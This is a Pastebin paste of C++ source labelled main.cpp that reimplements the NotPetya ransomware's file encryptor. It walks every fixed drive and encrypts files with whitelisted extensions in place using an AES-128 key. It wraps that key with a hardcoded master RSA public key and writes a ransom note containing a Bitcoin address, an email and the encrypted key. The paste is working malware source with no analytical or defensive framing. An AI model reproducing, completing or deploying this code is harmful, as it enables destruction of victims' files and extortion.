FlyFar

main.cpp

Mar 24th, 2024
83
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
C++ 9.59 KB | Cybersecurity | 0 0
  1. #include <windows.h>
  2. #include <shlwapi.h>
  3.  
  4. #include <stdio.h>
  5. #include <stdlib.h>
  6.  
  7. #include "main.h"
  8.  
  9. DWORD tick_time;
  10. DWORD time_wait = TIME_WAIT_DEFAULT;
  11.  
  12. int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, int nCmdShow)
  13. {
  14. #ifdef DEBUG
  15.     SetConsoleTitleA("NotPetya | File Encryptor | v1.0 | DEBUG MODE");
  16.     HANDLE hConsole = GetStdHandle(STD_OUTPUT_HANDLE);
  17.     SetConsoleTextAttribute(hConsole, 0x0C);
  18.     printf("\r\n\r\n------------------- NOTPETYA DEBUG CONSOLE -------------------\r\n\r\n");
  19. #endif
  20.    
  21.     WCHAR zeDrive[4];
  22.    
  23.     DWORD logical_drives = GetLogicalDrives();
  24.    
  25.     tick_time = GetTickCount();
  26.    
  27.     int i;
  28.     for(i = 31; i >= 0; --i)
  29.     {
  30.         if(((1 << i) & logical_drives) != 0)
  31.         {
  32.             zeDrive[0] = i + L'A';
  33.             zeDrive[1] = L':';
  34.             zeDrive[2] = L'\\';
  35.             zeDrive[3] = L'\0';
  36.            
  37.             if(GetDriveTypeW(zeDrive) == DRIVE_FIXED)
  38.             {
  39. #ifdef DEBUG
  40.                 wprintf(L"Found drive: %ls\r\n\r\n", zeDrive);
  41. #endif
  42.                 RANSOM_STRUCT *crypto_struct = (RANSOM_STRUCT*)LocalAlloc(LMEM_ZEROINIT, sizeof(RANSOM_STRUCT));
  43.                 if(crypto_struct != NULL)
  44.                 {
  45.                     crypto_struct->hRSAKeyStr   = MASTER_RSA_PUB;
  46.                     crypto_struct->bUnknown     = FALSE;
  47.                     crypto_struct->RootPathName = zeDrive;
  48.                     crypto_struct->hDriveHandle = CreateThread(NULL, 0, enum_drive, crypto_struct, 0, NULL);
  49.                    
  50.                     // not in og
  51.                     WaitForSingleObject(crypto_struct->hDriveHandle, INFINITE);
  52.                 }
  53.             }
  54.         }
  55.     }
  56.    
  57. #ifdef DEBUG
  58.     system("pause");
  59.     SetConsoleTextAttribute(hConsole, 0x07);
  60.     CloseHandle(hConsole);
  61. #endif
  62.    
  63.     ExitProcess(0);
  64. }
  65.  
  66. DWORD WINAPI enum_drive(LPVOID lpParam)
  67. {
  68.     RANSOM_STRUCT *crypto_struct = (RANSOM_STRUCT*)lpParam;
  69.    
  70. #ifdef DEBUG
  71.     wprintf(L"Started thread for drive: %ls\r\n", crypto_struct->RootPathName);
  72. #endif
  73.    
  74.     if(!CryptAcquireContextW(&crypto_struct->hProv, NULL, L"Microsoft Enhanced RSA and AES Cryptographic Provider", PROV_RSA_AES, CRYPT_VERIFYCONTEXT))
  75.     {
  76.         DWORD last_error = GetLastError(); 
  77.         if(last_error == NTE_KEYSET_NOT_DEF)
  78.         {
  79.             if(!CryptAcquireContextW(&crypto_struct->hProv, NULL, NULL, PROV_RSA_AES, CRYPT_VERIFYCONTEXT))
  80.             {
  81.                 LocalFree(crypto_struct);
  82.                 return 0;
  83.             }
  84.         }
  85.         else
  86.         {
  87.             if(last_error != NTE_BAD_KEYSET || !CryptAcquireContextW(&crypto_struct->hProv, NULL, L"Microsoft Enhanced RSA and AES Cryptographic Provider", PROV_RSA_AES, CRYPT_NEWKEYSET))
  88.             {
  89.                 LocalFree(crypto_struct);
  90.                 return 0;
  91.             }
  92.         }
  93.     }
  94.    
  95.     // Generate the AES-128 key
  96.     if(gen_aes_key(crypto_struct))
  97.     {
  98.         enum_files(crypto_struct->RootPathName, 15, crypto_struct);
  99.        
  100. #ifdef DEBUG
  101.         wprintf(L"\r\n\r\nDone encrypting files for drive: %ls\r\n\r\n", crypto_struct->RootPathName);
  102. #endif
  103.        
  104.         write_note(crypto_struct);
  105.         CryptDestroyKey(crypto_struct->hAESKey);
  106.     }
  107.     CryptReleaseContext(crypto_struct->hProv, 0);
  108.    
  109.     LocalFree(crypto_struct);
  110.     return 0;
  111. }
  112.  
  113. BOOL gen_aes_key(RANSOM_STRUCT *crypto_struct)
  114. {
  115.     BOOL gen_key_result = CryptGenKey(crypto_struct->hProv, CALG_AES_128, CRYPT_EXPORTABLE, &crypto_struct->hAESKey);
  116.     if(gen_key_result)
  117.     {
  118.         DWORD crypt_mode   = CRYPT_MODE_CBC;
  119.         CryptSetKeyParam(crypto_struct->hAESKey, KP_MODE, (BYTE*)&crypt_mode, 0);
  120.        
  121.         DWORD padding_mode = PKCS5_PADDING;
  122.         CryptSetKeyParam(crypto_struct->hAESKey, KP_PADDING, (BYTE*)&padding_mode, 0);
  123.     }
  124.     return gen_key_result;
  125. }
  126.  
  127. VOID enum_files(WCHAR *zePath, int recursion_count, RANSOM_STRUCT *crypto_struct)
  128. {
  129.     WIN32_FIND_DATAW fd;
  130.    
  131.     WCHAR pszDest[MAX_PATH];
  132.     WCHAR pszFile[MAX_PATH];
  133.     WCHAR pszFext[MAX_PATH];
  134.    
  135.     if(recursion_count != 0)
  136.     {
  137.         if(PathCombineW(pszDest, zePath, L"*"))
  138.         {
  139.             HANDLE hFind = FindFirstFileW(pszDest, &fd);
  140.             if(hFind != INVALID_HANDLE_VALUE)
  141.             {
  142.                 do {
  143.                     HANDLE hDriveHandle = crypto_struct->hDriveHandle;
  144.                     if(hDriveHandle)
  145.                     {
  146.                         DWORD wait_result = WaitForSingleObject(hDriveHandle, 0);
  147.                         if(!wait_result || wait_result == -1)
  148.                         {
  149.                             break;
  150.                         }
  151.                     }
  152.                    
  153.                     if(wcscmp(fd.cFileName, L".")
  154.                     && wcscmp(fd.cFileName, L"..")
  155.                     && PathCombineW(pszFile, zePath, fd.cFileName))
  156.                     {
  157.                         if(!(fd.dwFileAttributes & FILE_ATTRIBUTE_DIRECTORY) || (fd.dwFileAttributes & FILE_ATTRIBUTE_REPARSE_POINT) != 0)
  158.                         {
  159.                             WCHAR *file_ext = PathFindExtensionW(fd.cFileName);
  160.                             if(file_ext != &fd.cFileName[wcslen(file_ext)])
  161.                             {
  162.                                 wsprintfW(pszFext, L"%ws.", file_ext);
  163.                                 if(StrStrIW(FILE_EXT_WHITE, pszFext))
  164.                                 {
  165.                                     encrypt_file(pszFile, crypto_struct);
  166.                                 }
  167.                             }
  168.                         }
  169.                         else if(!StrStrIW(FOLDER_BLCKLST, pszFile))
  170.                         {
  171. #ifdef DEBUG
  172.                             wprintf(L"Enumerating folder: %ls\r\n", pszFile);
  173. #endif
  174.                             enum_files(pszFile, recursion_count - 1, crypto_struct);
  175.                         }
  176.                     }
  177.                 } while(FindNextFileW(hFind, &fd));
  178.                 FindClose(hFind);
  179.             }
  180.         }
  181.     }
  182. }
  183.  
  184. VOID encrypt_file(WCHAR *zeFile, RANSOM_STRUCT *crypto_struct)
  185. {
  186.     LARGE_INTEGER hFileSize;
  187.    
  188.     DWORD file_map_size;
  189.     DWORD file_crypt_size;
  190.    
  191.     HANDLE hFile = CreateFileW(zeFile, GENERIC_READ | GENERIC_WRITE, 0, NULL, OPEN_EXISTING, 0, NULL);
  192.     if(hFile != INVALID_HANDLE_VALUE)
  193.     {
  194.         GetFileSizeEx(hFile, &hFileSize);
  195.        
  196.         BOOL isFinalBlock = FALSE;
  197.         if(hFileSize.QuadPart <= MAX_BLOCK_NCRYPT)
  198.         {
  199.             file_map_size   = hFileSize.LowPart;
  200.             isFinalBlock    = TRUE;
  201.             file_crypt_size = 16 * ((hFileSize.LowPart >> 4) + 1);
  202.         }
  203.         else
  204.         {
  205.             file_map_size   = MAX_BLOCK_NCRYPT;
  206.             file_crypt_size = MAX_BLOCK_NCRYPT;
  207.         }
  208.        
  209.         HANDLE hMap = CreateFileMappingW(hFile, NULL, PAGE_READWRITE, 0, file_crypt_size, 0);
  210.         if(hMap != NULL)
  211.         {
  212.             VOID *mapped_bytes = MapViewOfFile(hMap, FILE_MAP_READ | FILE_MAP_WRITE, 0, 0, file_map_size);
  213.             if(mapped_bytes != NULL)
  214.             {      
  215.                 if(CryptEncrypt(crypto_struct->hAESKey, 0, isFinalBlock, 0, (BYTE*)mapped_bytes, &file_map_size, file_crypt_size))
  216.                 {
  217. #ifdef DEBUG
  218.                     wprintf(L"\r\nEncrypted file: %ls\r\n", zeFile);
  219. #endif 
  220.                     FlushViewOfFile(mapped_bytes, file_map_size);
  221.                 }
  222.                 UnmapViewOfFile(mapped_bytes);
  223.             }
  224.             CloseHandle(hMap);
  225.         }
  226.         CloseHandle(hFile);
  227.     }
  228. }
  229.  
  230. VOID write_note(RANSOM_STRUCT *crypto_struct)
  231. {
  232.     WCHAR note_path[MAX_PATH];
  233.    
  234.     if(import_rsa_key(crypto_struct))
  235.     {
  236.         WCHAR *exported_key = export_aes_key(crypto_struct);
  237.         if(exported_key != NULL)
  238.         {
  239.             if(PathCombineW(note_path, crypto_struct->RootPathName, RANSOM_NOTE_NAME))
  240.             {
  241.                 DWORD time_sleep = GetRandomNumber();
  242.                 if(time_sleep != 0)
  243.                 {
  244.                     Sleep(60000 * (time_sleep - 1));
  245.                 }
  246.                
  247.                 HANDLE hFile = CreateFileW(note_path, GENERIC_WRITE, 0, NULL, CREATE_ALWAYS, 0, NULL);
  248.                 if(hFile != INVALID_HANDLE_VALUE)
  249.                 {
  250. #ifdef DEBUG
  251.                     wprintf(L"Writing note: %ls\r\n", note_path);
  252. #endif
  253.                    
  254.                     DWORD wrote_bytes = 0;
  255.                    
  256.                     WriteFile(hFile, RANSOM_NOTE_TXT1, sizeof(RANSOM_NOTE_TXT1) - 2, &wrote_bytes, NULL);
  257.                     WriteFile(hFile, BITCOIN_ADDRESS1 L"\r\n\r\n", (sizeof(BITCOIN_ADDRESS1) - 2) + 8, &wrote_bytes, NULL);
  258.                     WriteFile(hFile, RANSOM_NOTE_TXT2, sizeof(RANSOM_NOTE_TXT2) - 2, &wrote_bytes, NULL);
  259.                     WriteFile(hFile, RANSOM_NOTE_EML1 L".\r\n", (sizeof(RANSOM_NOTE_EML1) - 2) + 6, &wrote_bytes, NULL);
  260.                     WriteFile(hFile, RANSOM_NOTE_TXT3, sizeof(RANSOM_NOTE_TXT3) - 2, &wrote_bytes, NULL);
  261.                     WriteFile(hFile, exported_key, sizeof(WCHAR) * wcslen(exported_key), &wrote_bytes, NULL);
  262.                    
  263.                     CloseHandle(hFile);
  264.                 }
  265.             }
  266.             LocalFree(exported_key);
  267.         }
  268.     }
  269. }
  270.  
  271. BOOL import_rsa_key(RANSOM_STRUCT *crypto_struct)
  272. {
  273.     CONST WCHAR *rsa_string = (CONST WCHAR*)crypto_struct->hRSAKeyStr;
  274.    
  275.     BOOL result = FALSE;
  276.    
  277.     DWORD bin_size = 0;
  278.     if(CryptStringToBinaryW(rsa_string, 0, CRYPT_STRING_BASE64, NULL, &bin_size, NULL, NULL))
  279.     {
  280.         BYTE *bin_import = (BYTE*)LocalAlloc(LMEM_ZEROINIT, bin_size);
  281.         if(bin_import != NULL)
  282.         {
  283.             if(CryptStringToBinaryW(MASTER_RSA_PUB, 0, CRYPT_STRING_BASE64, bin_import, &bin_size, NULL, NULL))
  284.             {
  285.                 DWORD cbEncoded = 0;
  286.                 if(CryptDecodeObjectEx(PKCS_7_ASN_ENCODING | X509_ASN_ENCODING , RSA_CSP_PUBLICKEYBLOB, bin_import, bin_size, 0, NULL, NULL, &cbEncoded))
  287.                 {
  288.                     BYTE *imported_object = (BYTE*)LocalAlloc(LMEM_ZEROINIT, cbEncoded);
  289.                     if(imported_object != NULL)
  290.                     {
  291.                         if(CryptDecodeObjectEx(PKCS_7_ASN_ENCODING | X509_ASN_ENCODING , RSA_CSP_PUBLICKEYBLOB, bin_import, bin_size, 0, NULL, imported_object, &cbEncoded))
  292.                         {
  293.                             result = CryptImportKey(crypto_struct->hProv, imported_object, cbEncoded, 0, 0, &crypto_struct->hRSAKey);
  294.                         }
  295.                         LocalFree(imported_object);
  296.                     }
  297.                 }
  298.             }
  299.             LocalFree(bin_import);
  300.         }
  301.     }
  302.    
  303.     return result;
  304. }
  305.  
  306. WCHAR *export_aes_key(RANSOM_STRUCT *crypto_struct)
  307. {
  308.     WCHAR *key_result = NULL;
  309.    
  310.     DWORD export_len = 0;
  311.     if(CryptExportKey(crypto_struct->hAESKey, crypto_struct->hRSAKey, SIMPLEBLOB, 0, NULL, &export_len))
  312.     {
  313.         BYTE *exported_key = (BYTE*)LocalAlloc(LMEM_ZEROINIT, export_len);
  314.         if(exported_key != NULL)
  315.         {
  316.             if(CryptExportKey(crypto_struct->hAESKey, crypto_struct->hRSAKey, SIMPLEBLOB, 0, exported_key, &export_len))
  317.             {
  318.                 DWORD encoded_key_len = 0;
  319.                 if(CryptBinaryToStringW(exported_key, export_len, CRYPT_STRING_BASE64, NULL, &encoded_key_len))
  320.                 {
  321.                     WCHAR *encoded_key = (WCHAR*)LocalAlloc(LMEM_ZEROINIT, sizeof(WCHAR) * encoded_key_len);
  322.                     if(encoded_key != NULL)
  323.                     {
  324.                         if(CryptBinaryToStringW(exported_key, export_len, CRYPT_STRING_BASE64, encoded_key, &encoded_key_len))
  325.                         {
  326.                             key_result = encoded_key;
  327.                         }
  328.                         else
  329.                         {
  330.                             LocalFree(encoded_key);
  331.                         }
  332.                     }
  333.                 }
  334.             }
  335.             LocalFree(exported_key);
  336.         }
  337.     }
  338.    
  339.     return key_result;
  340. }
  341.  
  342. DWORD GetRandomNumber()
  343. {
  344.     DWORD num = (GetTickCount() - tick_time) / 60 / 1000;
  345.     return num < time_wait ? time_wait - num : 0;
  346. }
Add Comment
Please, Sign In to add comment